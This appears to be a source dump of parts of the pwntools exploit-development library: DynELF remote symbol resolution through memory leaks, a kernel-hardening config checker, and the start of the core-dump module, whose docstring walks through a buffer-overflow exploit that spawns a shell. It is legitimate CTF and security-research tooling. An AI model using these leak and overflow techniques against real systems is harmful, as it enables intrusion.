self._make_absolute_ptr(ptr) self.status("Found %s at %#x" % (name, ptr)) return ptr def _find_linkmap(self, pltgot=None, debug=None): """ The linkmap is a chained structure created by the loader at runtime which contains information on the names and load addresses of all libraries. For non-RELRO binaries, a pointer to this is stored in the .got.plt area. For RELRO binaries, a pointer is additionally stored in the DT_DEBUG area. """ w = self.waitfor("Finding linkmap") Got = {32: elf.Elf_i386_GOT, 64: elf.Elf_x86_64_GOT}[self.elfclass] r_debug = {32: elf.Elf32_r_debug, 64: elf.Elf64_r_debug}[self.elfclass] linkmap = None if not pltgot: w.status("Finding linkmap: DT_PLTGOT") pltgot = self._find_dt(constants.DT_PLTGOT) if pltgot: w.status("GOT.linkmap") linkmap = self.leak.field(pltgot, Got.linkmap) w.status("GOT.linkmap %#x" % linkmap) if not linkmap: debug = debug or self._find_dt(constants.DT_DEBUG) if debug: w.status("r_debug.linkmap") linkmap = self.leak.field(debug, r_debug.r_map) w.status("r_debug.linkmap %#x" % linkmap) if not linkmap: w.failure("Could not find DT_PLTGOT or DT_DEBUG") return None linkmap = self._make_absolute_ptr(linkmap) w.success('%#x' % linkmap) return linkmap def waitfor(self, msg): if not self._waitfor: self._waitfor = log.waitfor(msg) else: self.status(msg) return self._waitfor def failure(self, msg): if not self._waitfor: log.failure(msg) else: self._waitfor.failure(msg) self._waitfor = None def success(self, msg): if not self._waitfor: log.success(msg) else: self._waitfor.success(msg) self._waitfor = None def status(self, msg): if not self._waitfor: log.info(msg) else: self._waitfor.status(msg) @property def libc(self): """libc(self) -> ELF Leak the Build ID of the remote libc.so, download the file, and load an ``ELF`` object with the correct base address. Returns: An ELF object, or None. """ libc = b'libc.so' with self.waitfor('Downloading libc'): dynlib = self._dynamic_load_dynelf(libc) self.status("Trying lookup based on Build ID") build_id = dynlib._lookup_build_id(libc) if not build_id: return None self.status("Trying lookup based on Build ID: %s" % build_id) path = libcdb.search_by_build_id(build_id) if not path: return None libc = ELF(path) libc.address = dynlib.libbase return libc def lookup (self, symb = None, lib = None): """lookup(symb = None, lib = None) -> int Find the address of ``symbol``, which is found in ``lib``. Arguments: symb(str): Named routine to look up If omitted, the base address of the library will be returned. lib(str): Substring to match for the library name. If omitted, the current library is searched. If set to ``'libc'``, ``'libc.so'`` is assumed. Returns: Address of the named symbol, or :const:`None`. """ result = None if lib == 'libc': lib = 'libc.so' if symb: symb = _need_bytes(symb, min_wrong=0x80) # # Get a pretty name for the symbol to show the user # if symb and lib: pretty = '%r in %r' % (symb, lib) else: pretty = repr(symb or lib) if not pretty: self.failure("Must specify a library or symbol") self.waitfor('Resolving %s' % pretty) # # If we are loading from a different library, create # a DynELF instance for it. # if lib is not None: dynlib = self._dynamic_load_dynelf(lib) else: dynlib = self if dynlib is None: log.failure("Could not find %r", lib) return None # # If we are resolving a symbol in the library, find it. # if symb and self.libcdb: # Try a quick lookup by build ID self.status("Trying lookup based on Build ID") build_id = dynlib._lookup_build_id(lib=lib) if build_id: log.info("Trying lookup based on Build ID: %s", build_id) path = libcdb.search_by_build_id(build_id) if path: with context.local(log_level='error'): e = ELF(path) e.address = dynlib.libbase result = e.symbols[symb] if symb and not result: self.status("Trying remote lookup") result = dynlib._lookup(symb) if not symb: result = dynlib.libbase # # Did we win? # if result: self.success("%#x" % result) else: self.failure("Could not find %s" % pretty) return result def bases(self): '''Resolve base addresses of all loaded libraries. Return a dictionary mapping library path to its base address. ''' if not self._bases: if self.link_map is None: self.failure("Cannot determine bases without linkmap") return {} leak = self.leak LinkMap = {32: elf.Elf32_Link_Map, 64: elf.Elf64_Link_Map}[self.elfclass] cur = self.link_map # make sure we rewind to the beginning! while leak.field(cur, LinkMap.l_prev): cur = leak.field(cur, LinkMap.l_prev) while cur: p_name = leak.field(cur, LinkMap.l_name) name = leak.s(p_name) addr = leak.field(cur, LinkMap.l_addr) cur = leak.field(cur, LinkMap.l_next) log.debug('Found %r @ %#x', name, addr) self._bases[name] = addr return self._bases def _dynamic_load_dynelf(self, libname): """_dynamic_load_dynelf(libname) -> DynELF Looks up information about a loaded library via the link map. Arguments: libname(str): Name of the library to resolve, or a substring (e.g. 'libc.so') Returns: A DynELF instance for the loaded library, or None. """ cur = self.link_map leak = self.leak LinkMap = {32: elf.Elf32_Link_Map, 64: elf.Elf64_Link_Map}[self.elfclass] # make sure we rewind to the beginning! while leak.field(cur, LinkMap.l_prev): cur = leak.field(cur, LinkMap.l_prev) libname = _need_bytes(libname, 2, 0x80) while cur: self.status("link_map entry %#x" % cur) p_name = leak.field(cur, LinkMap.l_name) name = leak.s(p_name) if libname in name: break if name: self.status('Skipping %r' % name) cur = leak.field(cur, LinkMap.l_next) else: self.failure("Could not find library with name containing %r" % libname) return None libbase = leak.field(cur, LinkMap.l_addr) self.status("Resolved library %r at %#x" % (libname, libbase)) lib = DynELF(leak, libbase) lib._dynamic = leak.field(cur, LinkMap.l_ld) lib._waitfor = self._waitfor return lib def _rel_lookup(self, symb, strtab=None, symtab=None, jmprel=None): """Performs slower symbol lookup using DT_JMPREL(.rela.plt)""" leak = self.leak elf_obj = self.elf symb_name = symb.decode() # If elf is available look for the symbol in it if elf_obj and symb_name in elf_obj.symbols: self.success("Symbol '%s' found in ELF!" % symb_name) return elf_obj.symbols[symb_name] log.warning("Looking up symbol through DT_JMPREL. This might be slower...") strtab = strtab or self._find_dt(constants.DT_STRTAB) symtab = symtab or self._find_dt(constants.DT_SYMTAB) jmprel = jmprel or self._find_dt(constants.DT_JMPREL) # .rela.plt strtab = self._make_absolute_ptr(strtab) symtab = self._make_absolute_ptr(symtab) jmprel = self._make_absolute_ptr(jmprel) w = self.waitfor("Looking for %s in .rel.plt" % symb) # We look for the symbol by iterating through each Elf64_Rel entry. # For each Elf64_Rel, get the Elf64_Sym for that entry # Then compare the Elf64_Sym.st_name with the symbol name Rel = {32: elf.Elf32_Rel, 64: elf.Elf64_Rel}[self.elfclass] Sym = {32: elf.Elf32_Sym, 64: elf.Elf64_Sym}[self.elfclass] rel_addr = jmprel rel_entry = None while True: rel_entry = leak.struct(rel_addr, Rel) # We ran out of entries in DT_JMPREL if rel_entry.r_offset == 0: return None sym_idx = rel_entry.r_info >> 32 # might be different for 32-bit sym_entry_address = symtab + ( sym_idx * sizeof(Sym) ) sym_str_off = leak.field(sym_entry_address, Sym.st_name) symb_str = leak.s(strtab+sym_str_off) if symb_str == symb: w.success("Found matching Elf64_Rel entry!") break rel_addr += sizeof(Rel) symbol_address = self._make_absolute_ptr(rel_entry.r_offset) return symbol_address def _lookup(self, symb): """Performs the actual symbol lookup within one ELF file.""" leak = self.leak Dyn = {32: elf.Elf32_Dyn, 64: elf.Elf64_Dyn}[self.elfclass] name = lambda tag: next(k for k,v in ENUM_D_TAG.items() if v == tag) self.status('.gnu.hash/.hash, .strtab and .symtab offsets') # # We need all three of the hash, string table, and symbol table. # hshtab = self._find_dt(constants.DT_GNU_HASH) strtab = self._find_dt(constants.DT_STRTAB) symtab = self._find_dt(constants.DT_SYMTAB) # Assume GNU hash will hit, since it is the default for GCC. if hshtab: hshtype = 'gnu' else: hshtab = self._find_dt(constants.DT_HASH) hshtype = 'sysv' if not all([strtab, symtab, hshtab]): self.failure("Could not find all tables") strtab = self._make_absolute_ptr(strtab) symtab = self._make_absolute_ptr(symtab) hshtab = self._make_absolute_ptr(hshtab) # # Perform the hash lookup # # Save off our real leaker in case we use the fake leaker real_leak = self.leak if self.elf: # Create a fake leaker which just leaks out of the 'loaded' ELF # However, we may load things which are outside of the ELF (e.g. # the linkmap or GOT) so we need to fall back on the real leak. @MemLeak def fake_leak(address): try: return self.elf.read(address, 4) except ValueError: return real_leak.b(address) # Use fake leaker since ELF is available self.leak = fake_leak routine = {'sysv': self._resolve_symbol_sysv, 'gnu': self._resolve_symbol_gnu}[hshtype] resolved_addr = routine(self.libbase, symb, hshtab, strtab, symtab) if resolved_addr: # Restore the original leaker self.leak = real_leak return resolved_addr # if symbol not found in GNU_Hash, try looking in JMPREL resolved_addr = self._rel_lookup(symb, strtab, symtab) # Restore the original leaker self.leak = real_leak return resolved_addr def _resolve_symbol_sysv(self, libbase, symb, hshtab, strtab, symtab): """ Internal Documentation: See the ELF manual for more information. Search for the phrase "A hash table of Elf32_Word objects supports symbol table access", or see: https://docs.oracle.com/cd/E19504-01/802-6319/6ia12qkfo/index.html#chapter6-48031 .. code-block:: c struct Elf_Hash { uint32_t nbucket; uint32_t nchain; uint32_t bucket[nbucket]; uint32_t chain[nchain]; } You can force an ELF to use this type of symbol table by compiling with 'gcc -Wl,--hash-style=sysv' """ self.status('.hash parms') leak = self.leak Sym = {32: elf.Elf32_Sym, 64: elf.Elf64_Sym}[self.elfclass] nbucket = leak.field(hshtab, elf.Elf_HashTable.nbucket) bucketaddr = hshtab + sizeof(elf.Elf_HashTable) chain = bucketaddr + (nbucket * 4) self.status('hashmap') hsh = sysv_hash(symb) % nbucket # Get the index out of the bucket for the hash we computed idx = leak.d(bucketaddr, hsh) while idx != constants.STN_UNDEF: # Look up the symbol corresponding to the specified index sym = symtab + (idx * sizeof(Sym)) symtype = leak.field(sym, Sym.st_info) & 0xf # We only care about functions if symtype == constants.STT_FUNC: # Leak the name of the function from the symbol table name = leak.s(strtab + leak.field(sym, Sym.st_name)) # Make sure it matches the name of the symbol we were looking for. if name == symb: #Bingo addr = libbase + leak.field(sym, Sym.st_value) return addr self.status("%r (hash collision)" % name) # The name did not match what we were looking for, or we assume # it did not since it was not a function. # Follow the chain for this particular hash. idx = leak.d(chain, idx) else: self.failure('Could not find a SYSV hash that matched %#x' % hsh) return None def _resolve_symbol_gnu(self, libbase, symb, hshtab, strtab, symtab): """ Internal Documentation: The GNU hash structure is a bit more complex than the normal hash structure. Again, Oracle has good documentation. https://blogs.oracle.com/solaris/post/gnu-hash-elf-sections You can force an ELF to use this type of symbol table by compiling with 'gcc -Wl,--hash-style=gnu' """ self.status('.gnu.hash parms') leak = self.leak Sym = {32: elf.Elf32_Sym, 64: elf.Elf64_Sym}[self.elfclass] # The number of hash buckets (hash % nbuckets) nbuckets = leak.field(hshtab, elf.GNU_HASH.nbuckets) # Index of the first accessible symbol in the hash table # Numbering doesn't start at zero, it starts at symndx symndx = leak.field(hshtab, elf.GNU_HASH.symndx) # Number of things in the bloom filter. # We don't care about the contents, but we have to skip over it. maskwords = leak.field(hshtab, elf.GNU_HASH.maskwords) # Skip over the bloom filter to get to the buckets elfword = self.elfclass // 8 buckets = hshtab + sizeof(elf.GNU_HASH) + (elfword * maskwords) # The chains come after the buckets chains = buckets + (4 * nbuckets) self.status('hash chain index') # Hash the symbol, find its bucket hsh = gnu_hash(symb) bucket = hsh % nbuckets # Get the first index in the chain for that bucket ndx = leak.d(buckets, bucket) if ndx == 0: self.failure('Empty chain') return None # Find the start of the chain, taking into account that numbering # effectively starts at 'symndx' within the chains. chain = chains + 4 * (ndx - symndx) self.status('hash chain') # Iteratively get the I'th entry from the hash chain, until we find # one that matches. i = 0 hsh &= ~1 # The least significant bit is used as a stopper bit. # It is set to 1 when a symbol is the last symbol in a given hash chain. hsh2 = 0 while not hsh2 & 1: hsh2 = leak.d(chain, i) if hsh == (hsh2 & ~1): # Check for collision on hash values sym = symtab + sizeof(Sym) * (ndx + i) name = leak.s(strtab + leak.field(sym, Sym.st_name)) if name == symb: # No collision, get offset and calculate address offset = leak.field(sym, Sym.st_value) addr = offset + libbase return addr self.status("%r (hash collision)" % name) # Collision or no match, continue to the next item i += 1 else: self.failure('Could not find a GNU hash that matched %#x' % hsh) return None def _lookup_build_id(self, lib = None): libbase = self.libbase if not self.link_map: self.status("No linkmap found") return None if lib is not None: libbase = self.lookup(symb = None, lib = lib) if not libbase: self.status("Couldn't find libc base") return None for offset in libcdb.get_build_id_offsets(): address = libbase + offset if self.leak.compare(address + 0xC, b"GNU\x00"): return enhex(b''.join(self.leak.raw(address + 0x10, 20))) else: self.status("Build ID not found at offset %#x" % offset) pass def _make_absolute_ptr(self, ptr_or_offset): """For shared libraries (or PIE executables), many ELF fields may contain offsets rather than actual pointers. If the ELF type is 'DYN', the argument may be an offset. It will not necessarily be an offset, because the run-time linker may have fixed it up to be a real pointer already. In this case an educated guess is made, and the ELF base address is added to the value if it is determined to be an offset. """ if_ptr = ptr_or_offset if_offset = ptr_or_offset + self.libbase # if the ELF type is not DYN, the value is a pointer if self.elftype != 'DYN': return if_ptr # if the ELF type may be DYN, guess if 0 < ptr_or_offset < self.libbase: return if_offset else: return if_ptr def stack(self): """Finds a pointer to the stack via __environ, which is an exported symbol in libc, which points to the environment block. """ symbols = ['environ', '_environ', '__environ'] for symbol in symbols: environ = self.lookup(symbol, 'libc') if environ: break else: log.error("Could not find the stack") stack = self.leak.p(environ) self.success('*environ: %#x' % stack) return stack def heap(self): """Finds the beginning of the heap via __curbrk, which is an exported symbol in the linker, which points to the current brk. """ curbrk = self.lookup('__curbrk', 'libc') brk = self.leak.p(curbrk) self.success('*curbrk: %#x' % brk) return brk def _find_mapped_pages(self, readonly = False, page_size = 0x1000): """ A generator of all mapped pages, as found using the Program Headers. Yields tuples of the form: (virtual address, memory size) """ leak = self.leak base = self.libbase Ehdr = {32: elf.Elf32_Ehdr, 64: elf.Elf64_Ehdr}[self.elfclass] Phdr = {32: elf.Elf32_Phdr, 64: elf.Elf64_Phdr}[self.elfclass] phead = base + leak.field(base, Ehdr.e_phoff) phnum = leak.field(base, Ehdr.e_phnum) for i in range(phnum): if leak.field_compare(phead, Phdr.p_type, constants.PT_LOAD) : # the interesting pages are those that are aligned to PAGE_SIZE if leak.field_compare(phead, Phdr.p_align, page_size) and \ (readonly or leak.field(phead, Phdr.p_flags) & 0x02 != 0): vaddr = leak.field(phead, Phdr.p_vaddr) memsz = leak.field(phead, Phdr.p_memsz) # fix relative offsets if vaddr < base : vaddr += base yield vaddr, memsz phead += sizeof(Phdr) def dump(self, libs = False, readonly = False): """dump(libs = False, readonly = False) Dumps the ELF's memory pages to allow further analysis. Arguments: libs(bool, optional): True if should dump the libraries too (False by default) readonly(bool, optional): True if should dump read-only pages (False by default) Returns: a dictionary of the form: { address : bytes } """ leak = self.leak page_size = 0x1000 pages = {} for vaddr, memsz in self._find_mapped_pages(readonly, page_size) : offset = vaddr % page_size if offset != 0 : memsz += offset vaddr -= offset memsz += (page_size - (memsz % page_size)) % page_size pages[vaddr] = leak.n(vaddr, memsz) if libs: for lib_name in self.bases(): if len(lib_name) == 0: continue dyn_lib = self._dynamic_load_dynelf(lib_name) if dyn_lib is not None: pages.update(dyn_lib.dump(readonly = readonly)) return pages Gallopsled-pwntools-3ad86ec/pwnlib/elf/000077500000000000000000000000001507273764500202435ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/elf/__init__.py000066400000000000000000000011301507273764500223470ustar00rootroot00000000000000""" Most exploitable CTF challenges are provided in the Executable and Linkable Format (``ELF``). Generally, it is very useful to be able to interact with these files to extract data such as function addresses, ROP gadgets, and writable page addresses. """ from __future__ import absolute_import from pwnlib.elf.corefile import Core from pwnlib.elf.datatypes import * from pwnlib.elf.elf import ELF from pwnlib.elf.elf import load from pwnlib.elf import maps from pwnlib.elf import plt __all__ = ['load', 'ELF', 'Core'] + sorted(filter(lambda x: not x.startswith('_'), datatypes.__dict__.keys())) Gallopsled-pwntools-3ad86ec/pwnlib/elf/config.py000066400000000000000000000201521507273764500220620ustar00rootroot00000000000000""" Kernel-specific ELF functionality """ from __future__ import division class KernelConfig(object): def __init__(self, name, title, requires=[], excludes=[], minver=0, maxver=99): #: Name of the configuration option self.name = name #: Section to which the configuration point belongs self.title = title #: List of configuration items, one of which must be present, #: for this checker to be used. self.requires = set(requires) #: List of configuration items, NONE of which must be present, #: for this checker to be used. self.excludes = set(excludes) #: Kernel version that this check should be enforced on self.minver = list(map(int, str(minver).split('.'))) self.maxver = list(map(int, str(maxver).split('.'))) def relevant(self, config): # If any of the excluded options are ENABLED, # this config is not relevant. if self.excludes: for value in self.excludes & set(config): if config.get(value, False): return False # If any of the required options are PRESENT but DISABLED, # this config is not relevant. if self.requires: for value in self.requires & set(config): if config.get(value, False): return True # We did not find a required value return False # If we are not in the correct version range, bail if 'version' in config: version = config['version'] if not (self.minver <= version < self.maxver): return False return True def check(self, value): raise NotImplementedError() def __call__(self, config): """__call__(config) -> str Check whether the configuration point is set correctly. Arguments: config(dict): Dictionary of all configuration points Returns: A tuple (result, message) where result is whether the option is correctly configured, and message is an optional message describing the error. """ if not self.relevant(config): return (True, '') return self.check(config.get(self.name, None)) class Enabled(KernelConfig): def __init__(self, name, **kw): super(Enabled, self).__init__(name, 'Not Enabled', **kw) def check(self, config): return (bool(config), '') class EnabledIfPresent(Enabled): def check(self, config): if config is None: return (True, '') return super(EnabledIfPresent, self).check(config) class Disabled(KernelConfig): def __init__(self, name, **kw): super(Disabled, self).__init__(name, 'Not Disabled', **kw) def check(self, config): return (not bool(config), '') class Minimum(KernelConfig): def __init__(self, name, minimum, **kw): super(Minimum, self).__init__(name, 'Misconfigured', **kw) self.minimum = minimum def check(self, value): if value is None or value < self.minimum: return (False, "Should be at least {}".format(self.minimum)) return (True, '') kernel_configuration = [ # Enabled Enabled('STRICT_DEVMEM', requires=['DEVMEM']), Enabled('IO_STRICT_DEVMEM', requires=['DEVMEM']), Enabled('SYN_COOKIES'), Enabled('DEBUG_CREDENTIALS'), Enabled('DEBUG_NOTIFIERS'), Enabled('DEBUG_LIST'), Enabled('SECCOMP'), Enabled('SECCOMP_FILTER', minver=3.5, requires=['HAVE_ARCH_SECCOMP_FILTER']), Enabled('SECURITY'), # Enabled('SECURITY_YAMA'), Enabled('HARDENED_USERCOPY', minver=4.8), Enabled('SLAB_FREELIST_RANDOM', minver=4.7), # Enabled('SLUB_DEBUG'), # Enabled('PAGE_POISONING'), # Enabled('PAGE_POISONING_NO_SANITY'), # Enabled('PAGE_POISONING_ZERO'), Enabled('CC_STACKPROTECTOR', excludes=['CC_STACKPROTECTOR_STRONG']), Enabled('CC_STACKPROTECTOR_STRONG', minver=3.14), Enabled('PANIC_ON_OOPS', minver=3.5), Enabled('DEBUG_SET_MODULE_RONX', requires=['MODULES']), Enabled('DEBUG_RODATA'), Enabled('SECURITY_KPTR_RESTRICT'), Enabled('SECURITY_PERF_EVENTS_RESTRICT'), Enabled('SECURITY_DMESG_RESTRICT'), Enabled('SECURITY_NETWORK'), Enabled('SECURITY_SELINUX'), Enabled('ARCH_HAS_ELF_RANDOMIZE'), EnabledIfPresent('MSM_KERNEL_PROTECT'), # Not really security relevant, but come on guys Enabled('COREDUMP'), # Disabled Disabled('ACPI_CUSTOM_METHOD'), Disabled('COMPAT_BRK'), Disabled('DEVKMEM'), Disabled('DEVMEM'), Disabled('COMPAT_VDSO'), Disabled('KEXEC'), Disabled('BINFMT_MISC'), Disabled('LEGACY_PTYS'), Disabled('MODULES'), Disabled('KEXEC'), Disabled('SECURITY_SELINUX_DISABLE'), Disabled('MISC_FILESYSTEMS'), Disabled('SCSI_TGT'), Disabled('SCSI_CONSTANTS'), Disabled('SCSI_LOGGING'), Disabled('SCSI_SCAN_ASYNC'), Disabled('MEDIA_RADIO_SUPPORT'), Disabled('PFT'), Disabled('SYSVIPC'), # Permits reloading the kernel from disk Disabled('HIBERNATION'), # Prior to v4.1, assists heap memory attacks; best to keep interface disabled Disabled('INET_DIAG', maxver=4.1), # x86-specific Enabled('HIGHMEM64G', requires=['X86_32']), Enabled('X86_PAE', requires=['X86_32']), Disabled('LEGACY_VSYSCALL_NONE', requires=['X86_32', 'X86_64'], minver=4.4), Disabled('IA32_EMULATION'), Disabled('X86_X32'), Disabled('MODIFY_LDT_SYSCALL'), Minimum('DEFAULT_MMAP_MIN_ADDR', 65536, requires=['X86_32', 'X86_64']), Enabled('RANDOMIZE_BASE', excludes=['ARM']), Enabled('RANDOMIZE_MEMORY', requires=['X86_64']), # ARM specific Enabled('VMSPLIT_3G', requires=['ARM']), Disabled('STRICT_MEMORY_RWX', requires=['ARM', 'ARM64']), Minimum('DEFAULT_MMAP_MIN_ADDR', 32768, requires=['ARM', 'ARM64']), Minimum('ARCH_MMAP_RND_BITS', 16, requires=['ARM']), Minimum('ARCH_MMAP_RND_BITS', 24, requires=['ARM64']), Minimum('ARCH_MMAP_RND_COMPAT_BITS', 16, requires=['ARM64']), Enabled('CPU_SW_DOMAIN_PAN', requires=['ARM'], minver=4.3), Enabled('ARM64_PAN', requires=['ARM64'], minver=4.3), Disabled('OABI_COMPAT'), Disabled('CP_ACCESS', requires=['ARM']), Disabled('CP_ACCESS64', requires=['ARM64']), # Only relevant of MODULES are enabled Enabled('MODULE_SIG', requires=['MODULES']), Enabled('MODULE_SIG_FORCE', requires=['MODULES']), Enabled('MODULE_SIG_ALL', requires=['MODULES']), Enabled('MODULE_SIG_SHA512', requires=['MODULES']), Enabled('MODULE_SIG_KEY', requires=['MODULES']), ] def parse_kconfig(data): """Parses configuration data from a kernel .config. Arguments: data(str): Configuration contents. Returns: A :class:`dict` mapping configuration options. "Not set" is converted into ``None``, ``y`` and ``n`` are converted into :class:`bool`. Numbers are converted into :class:`int`. All other values are as-is. Each key has ``CONFIG_`` stripped from the beginning. Examples: >>> parse_kconfig('FOO=3') {'FOO': 3} >>> parse_kconfig('FOO=y') {'FOO': True} >>> parse_kconfig('FOO=n') {'FOO': False} >>> parse_kconfig('FOO=bar') {'FOO': 'bar'} >>> parse_kconfig('# FOO is not set') {'FOO': None} """ config = {} NOT_SET=' is not set' if not data: return for line in data.splitlines(): # Not set? Then set to None. if NOT_SET in line: line = line.split(NOT_SET, 1)[0] name = line.strip('# ') config[name] = None # Set to a value? Extract it if '=' in line: k, v = line.split('=', 1) # Boolean conversions if v == 'y': v = True elif v == 'n': v = False else: # Integer conversions try: v = int(v, 0) except ValueError: pass config[k] = v # Strip off all of the CONFIG_ prefixes config = ({k.replace('CONFIG_', ''): v for k,v in config.items()}) return config Gallopsled-pwntools-3ad86ec/pwnlib/elf/corefile.py000066400000000000000000001543071507273764500224170ustar00rootroot00000000000000# -*- coding: utf-8 -*- """Read information from Core Dumps. Core dumps are extremely useful when writing exploits, even outside of the normal act of debugging things. Using Corefiles to Automate Exploitation ---------------------------------------- For example, if you have a trivial buffer overflow and don't want to open up a debugger or calculate offsets, you can use a generated core dump to extract the relevant information. .. code-block:: c #include #include #include void win() { system("sh"); } int main(int argc, char** argv) { char buffer[64]; strcpy(buffer, argv[1]); } .. code-block:: shell $ gcc crash.c -m32 -o crash -fno-stack-protector .. code-block:: python from pwn import * # Generate a cyclic pattern so that we can auto-find the offset payload = cyclic(128) # Run the process once so that it crashes process(['./crash', payload]).wait() # Get the core dump core = Coredump('./core') # Our cyclic pattern should have been used as the crashing address assert pack(core.eip) in payload # Cool! Now let's just replace that value with the address of 'win' crash = ELF('./crash') payload = fit({ cyclic_find(core.eip): crash.symbols.win }) # Get a shell! io = process(['./crash', payload]) io.sendline(b'id') print(io.recvline()) # uid=1000(user) gid=1000(user) groups=1000(user) Module Members ---------------------------------------- """ from __future__ import absolute_import from __future__ import division import collections import ctypes import glob import gzip import re import os import socket import subprocess import tempfile from io import BytesIO, StringIO import elftools from elftools.common.utils import roundup from elftools.common.utils import struct_parse from elftools.construct import CString from pwnlib import atexit from pwnlib.context import context from pwnlib.elf.datatypes import * from pwnlib.elf.elf import ELF from pwnlib.log import getLogger from pwnlib.tubes.process import process from pwnlib.tubes.ssh import ssh_channel from pwnlib.tubes.tube import tube from pwnlib.util.fiddling import b64d from pwnlib.util.fiddling import enhex from pwnlib.util.fiddling import unhex from pwnlib.util.misc import read from pwnlib.util.misc import write from pwnlib.util.packing import pack from pwnlib.util.packing import unpack_many log = getLogger(__name__) prstatus_types = { 'i386': elf_prstatus_i386, 'amd64': elf_prstatus_amd64, 'arm': elf_prstatus_arm, 'aarch64': elf_prstatus_aarch64 } siginfo_types = { 32: elf_siginfo_32, 64: elf_siginfo_64 } class Mapping(object): """Encapsulates information about a memory mapping in a :class:`Corefile`. """ def __init__(self, core, name, start, stop, flags, page_offset): self._core=core #: :class:`str`: Name of the mapping, e.g. ``'/bin/bash'`` or ``'[vdso]'``. self.name = name or '' #: :class:`int`: First mapped byte in the mapping self.start = start #: :class:`int`: First byte after the end of hte mapping self.stop = stop #: :class:`int`: Size of the mapping, in bytes self.size = stop-start #: :class:`int`: Offset in pages in the mapped file self.page_offset = page_offset or 0 #: :class:`int`: Mapping flags, using e.g. ``PROT_READ`` and so on. self.flags = flags @property def path(self): """:class:`str`: Alias for :attr:`.Mapping.name`""" return self.name @property def address(self): """:class:`int`: Alias for :data:`Mapping.start`.""" return self.start @property def permstr(self): """:class:`str`: Human-readable memory permission string, e.g. ``r-xp``.""" flags = self.flags return ''.join(['r' if flags & 4 else '-', 'w' if flags & 2 else '-', 'x' if flags & 1 else '-', 'p']) def __str__(self): return '%x-%x %s %x %s' % (self.start,self.stop,self.permstr,self.size,self.name) def __repr__(self): return '%s(%r, start=%#x, stop=%#x, size=%#x, flags=%#x, page_offset=%#x)' \ % (self.__class__.__name__, self.name, self.start, self.stop, self.size, self.flags, self.page_offset) def __int__(self): return self.start @property def data(self): """:class:`str`: Memory of the mapping.""" return self._core.read(self.start, self.size) def __getitem__(self, item): if isinstance(item, slice): start = int(item.start or self.start) stop = int(item.stop or self.stop) # Negative slices... if start < 0: start += self.stop if stop < 0: stop += self.stop if not (self.start <= start <= stop <= self.stop): log.error("Byte range [%#x:%#x] not within range [%#x:%#x]", start, stop, self.start, self.stop) data = self._core.read(start, stop-start) if item.step == 1: return data return data[::item.step] return self._core.read(item, 1) def __contains__(self, item): if isinstance(item, Mapping): return (self.start <= item.start) and (item.stop <= self.stop) return self.start <= item < self.stop def find(self, sub, start=None, end=None): """Similar to str.find() but works on our address space""" if start is None: start = self.start if end is None: end = self.stop result = self.data.find(sub, start-self.address, end-self.address) if result == -1: return result return result + self.address def rfind(self, sub, start=None, end=None): """Similar to str.rfind() but works on our address space""" if start is None: start = self.start if end is None: end = self.stop result = self.data.rfind(sub, start-self.address, end-self.address) if result == -1: return result return result + self.address class Corefile(ELF): r"""Enhances the information available about a corefile (which is an extension of the ELF format) by permitting extraction of information about the mapped data segments, and register state. Registers can be accessed directly, e.g. via ``core_obj.eax`` and enumerated via :data:`Corefile.registers`. Memory can be accessed directly via :meth:`pwnlib.elf.elf.ELF.read` or :meth:`pwnlib.elf.elf.ELF.write`, and also via :meth:`pwnlib.elf.elf.ELF.pack` or :meth:`pwnlib.elf.elf.ELF.unpack` or even :meth:`.string`. Arguments: core: Path to the core file. Alternately, may be a :class:`.process` instance, and the core file will be located automatically. :: >>> c = Corefile('./core') >>> hex(c.eax) '0xfff5f2e0' >>> c.registers {'eax': 4294308576, 'ebp': 1633771891, 'ebx': 4151132160, 'ecx': 4294311760, 'edi': 0, 'edx': 4294308700, 'eflags': 66050, 'eip': 1633771892, 'esi': 0, 'esp': 4294308656, 'orig_eax': 4294967295, 'xcs': 35, 'xds': 43, 'xes': 43, 'xfs': 0, 'xgs': 99, 'xss': 43} Mappings can be iterated in order via :attr:`Corefile.mappings`. :: >>> Corefile('./core').mappings [Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000, size=0x1000, flags=0x5, page_offset=0x0), Mapping('/home/user/pwntools/crash', start=0x8049000, stop=0x804a000, size=0x1000, flags=0x4, page_offset=0x1), Mapping('/home/user/pwntools/crash', start=0x804a000, stop=0x804b000, size=0x1000, flags=0x6, page_offset=0x2), Mapping(None, start=0xf7528000, stop=0xf7529000, size=0x1000, flags=0x6, page_offset=0x0), Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf7529000, stop=0xf76d1000, size=0x1a8000, flags=0x5, page_offset=0x0), Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d1000, stop=0xf76d2000, size=0x1000, flags=0x0, page_offset=0x1a8), Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d2000, stop=0xf76d4000, size=0x2000, flags=0x4, page_offset=0x1a9), Mapping('/lib/i386-linux-gnu/libc-2.19.so', start=0xf76d4000, stop=0xf76d5000, size=0x1000, flags=0x6, page_offset=0x1aa), Mapping(None, start=0xf76d5000, stop=0xf76d8000, size=0x3000, flags=0x6, page_offset=0x0), Mapping(None, start=0xf76ef000, stop=0xf76f1000, size=0x2000, flags=0x6, page_offset=0x0), Mapping('[vdso]', start=0xf76f1000, stop=0xf76f2000, size=0x1000, flags=0x5, page_offset=0x0), Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf76f2000, stop=0xf7712000, size=0x20000, flags=0x5, page_offset=0x0), Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7712000, stop=0xf7713000, size=0x1000, flags=0x4, page_offset=0x20), Mapping('/lib/i386-linux-gnu/ld-2.19.so', start=0xf7713000, stop=0xf7714000, size=0x1000, flags=0x6, page_offset=0x21), Mapping('[stack]', start=0xfff3e000, stop=0xfff61000, size=0x23000, flags=0x6, page_offset=0x0)] Examples: Let's build an example binary which should eat ``R0=0xdeadbeef`` and ``PC=0xcafebabe``. If we run the binary and then wait for it to exit, we can get its core file. >>> context.clear(arch='arm') >>> shellcode = shellcraft.mov('r0', 0xdeadbeef) >>> shellcode += shellcraft.mov('r1', 0xcafebabe) >>> shellcode += 'bx r1' >>> address = 0x41410000 >>> elf = ELF.from_assembly(shellcode, vma=address) >>> io = elf.process(env={'HELLO': 'WORLD'}) >>> io.poll(block=True) -11 You can specify a full path a la ``Corefile('/path/to/core')``, but you can also just access the :attr:`.process.corefile` attribute. There's a lot of behind-the-scenes logic to locate the corefile for a given process, but it's all handled transparently by Pwntools. >>> core = io.corefile The core file has a :attr:`exe` property, which is a :class:`.Mapping` object. Each mapping can be 